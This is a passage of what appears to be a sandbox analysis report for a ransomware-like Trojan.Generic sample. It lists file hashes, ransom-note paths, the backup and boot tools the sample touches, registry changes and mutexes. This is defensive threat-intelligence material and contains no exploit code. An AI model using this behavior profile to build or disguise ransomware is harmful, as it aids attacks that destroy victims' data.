3372b6ad4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"cryptocme.dll","sha256":"3f2be6ee8e1e3dfbc8c1b087ea9ad445f0c983dbe6e57bdcb484821cf5a0576f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"icucnv40.dll","sha256":"b370b0f96043ef7813b8f80e87867f99125fa1c66f980a3beeefa8b672eefc24","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"icudt40.dll","sha256":"699e205b29b0ba57a935f91f6ea06db1ae9560bc0471995e8d956d44e5638024","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"logsession.dll","sha256":"53a48566a74d9c0cf66554606257114e9f038a3e1e22f212d1cfb14cb585d093","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"pe.dll","sha256":"072fbf98fcd89995903ce4b3cc8a472f22e26cec313b26ea68e6aefb818bbd1b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"pmd.cer","sha256":"0fc00dcebaba020c95fb62e295bf3af48dca049d3cc28208ea2bd89290f9e596","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"reader_sl.exe","sha256":"8dcb44e6b19c4cb3525bd31425add3160fa9fe70ae67a7419011e7fda17e37f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"rt3d.dll","sha256":"fbfee538330f957643c5cd8004c37d1a3a2256012011cb8d12d03445f491ee44","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"sqlite.dll","sha256":"17e58a8fc98c5bde2ccdb614dbd39a914e3421c998b8dc03be87f7e73f6c718d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"wow_helper.exe","sha256":"58c441899b3cf2744f38846fc45bba05ca10dbe893f3810e58a37f4b115932a1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"autoexec.bat","sha256":"d358a6b887b714c1255248e74ff934a41b36c022dc7d43cd7d28e2773bdfb06f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"9rNtWnjTq9RGbU.exe","sha256":"68b424047b35a261ee94d90bed7c4a417a6209be12dd5733bf7250189c1986d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"yZw6snqBQ28DAzu.exe","sha256":"1deeb92e6877b888ebb7a9788aee3b80a8391919943c66efd88cf1c584ee3df7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"MineSweeper.lnk","sha256":"a170b217ea6b18d34651598e040b1998fe8716111d22b86ed3ceffcb48b700fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"nppdf32.dll","sha256":"fb1c85b12ba7b422a1ffbe4aae86f4e4392cc8f4b9cced4f92ba30b021abaf51","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"rRgk91Ih5n.doc","sha256":"85239ae871229d73a567a09c8a7baaecd20011221f8713abd2eaf90e1ce28044","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"dH1rDN9f9.doc","sha256":"27b212832c2646e8ba772003d296d63f0e6c75c863a6af81aa148238fdbc46df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"6SZfLTu9z.doc","sha256":"5b3dafc871a8f5b1ce7db03656a5bbf9d2416e500ab56e9f0163b409b3af8d6e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"8b3d5754c80523c1321900400dd562c3951f325ff98516f0c624407a09ad116a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"C04T72pR0Bcl.doc","sha256":"f2f13dc317aa32d29beb36e44f8c6e0eeac86abb22d7f080f405d4fb11c1ddc8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Desktop.lnk","sha256":"4e5eba4d2672468637daa9baad76855f6f85764ff31be273928ee37ebc4f30ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"w5JaoO.doc","sha256":"ab065d5a37c564f582023b6696a08f6777da814913396a07ff95a85ce0d1b886","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"6WMjwc1zqk3IB.exe","sha256":"de9aa910d522e51440142c8d52a7c2349ac17ab0387b0d3d89924a6aa5d76d3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"tDUzYwYK5f.exe","sha256":"bddddc818afa5e27da0fc7910a784cf9770ebf3be47bb74a95d60950edb64804","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"kdo6iAicsoicvHg.exe","sha256":"30e639691687fdcd7a990fd97155e17731d1b983903f1941e780aa0fc7c82a7f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"dskCEJ.exe","sha256":"78c0ecd0f6b9c4ac3a179655021715959aceeb070d9f73f3c52bf841978565bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"kY01UeAiy5.exe","sha256":"0ff232390dae8faeddeb0846c111fc54dc15d60d2eef3ac5d0a6533e12bd9248","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Downloads.lnk","sha256":"0c95ef19ec035f617e2e7a9bacf898e6d2b54ad54ce4806889389a5beb63d07f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"hlchPBL.exe","sha256":"e75cb284ce9261d8d48f290d7b68fc8cef7e5e6086ece6bcac2aec8ea03839f9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"bg3oTe.doc","sha256":"1331b97cc86fda156d3b4a1bcb779fc5c36bfaa092de05b5d18dc76ed22964ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"0zIG0D.doc","sha256":"7073fcc801ecff660215b364de0bbaa41291f79c0bd330bd8d57b89483a4d3da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Windows Media Player.lnk","sha256":"815a3eea0c5b2d351c951149fd05d49dbc95afb558e7dcfbd60f2ce0fe8808c4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"a3Ntx.exe","sha256":"522352609f32f0a8ee21b8dde342f301d92c90aafd6942997f35e86d17e72400","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"iLLOga.exe","sha256":"1876af47e938a584a43c4a3c7b2ff630418115037da51216b314b7f63d1679da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Sticky Notes.lnk","sha256":"32659b9deb5016aea691488630503e66f233c2000bc83e90c330d29ae51e9d40","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Calculator.lnk","sha256":"839c42dfdae9f585ece4ae6441cdfa911de8f0f44e3907e1e32d421d32941b5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"klmqz.doc","sha256":"fd00e94c76d106c0bcb596e9a53774cf462134205d67e7c162878686298b4c09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"mtgFs8Za.doc","sha256":"14dbfc3b4789556a1f401354ff873bb9d91d400e0ecfc4458000fcfe3f158d35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"RecentPlaces.lnk","sha256":"9039f2d50b97c3d60f3729e45624decde56a50f5a3749e57e4fd5ef480d86566","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"bvYkKJ33N9A.exe","sha256":"2576cb25d283040a0b99aa57a8d428c0384928607ce7745ef43ae7d5f6cb1121","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"F3hzum1.doc","sha256":"7d138bb8e976001459c674f5080faef8295ba5e037df682602f31025c04d1847","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Tmg2wsFHYf9ioO.doc","sha256":"eea30a8581693c1e463f13ce205b7834347bdfcca0167b5c604ca966ac494978","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"hKY8.doc","sha256":"e7a1d3197486cb80dfd3ff2cc661d8723448713cb0e1446f2d9c2af05f403ef5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"b8af24ff8a32518f3264650fcc77b80e74c384429a2f9e5192674b96fa7807e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"0gakl8ixtWMkw.doc","sha256":"c92f9285e013e59fe7c91f73e1e19736f6b71dfb728cda08c7841bd776e08791","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"EKeaJO.doc","sha256":"6d66a503cfced989ea49fc07b243a29bd7dedc26de73ee09bc53354412355dc6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"0pYWspjURe8aqA.exe","sha256":"46ec1bce8edb480218c2a205ee1da5b8b8f183089dc00f7d3cc5d24da86fcc66","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"dgQJde60mPXhI.exe","sha256":"95b3c6d93f4cb54c498f072c8a06b0a8b3381fbeac6dc0762544bb66b160a7f3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"JSByteCodeWin.bin","sha256":"2e5866880ca63db089d9accffabf4af52e3a2dcf45113ac2234af4c7240c83d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Paint.lnk","sha256":"a52aa7ee7b50aa80f34beff07855fe96a5b487b9122a8926f2eccb8de22b2148","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"63sDzrkUoHoRT.exe","sha256":"ea6d8ba7608dafb0b1b3b90275b262ef1bc437178223385d48af0de5c89f690b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}],"files_written":[{"path":"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%APPDATA%\\Manager_Agent.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\system32\\en\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\wbadmin.exe","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\wbadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\Logs","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\blbres.dll","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\blbres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"C:\\1509464569852$OK","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"C:\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Esl\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\locales\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\notepad.exe","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\notepad.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%USERPROFILE%\\INSTRUCTION FOR DATA RECOVERY.TXT","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\System32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\MANAGER_AGENT_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"cUTakpf","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\cUTakpf","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!8pgzhd4!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!8pgzhd4!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!8pgzhd4!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}]}},"report_ids":{"sandbox_job_ids":["59f89a4e7ca3e1266f73e1a4"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 1885e9b3037c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 1885e9b3037c…. Malware family: Trojan.Generic. Threat score 100/100. 21/28 AV engines flagged this file. 12 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 1885e9b3037c… — Score 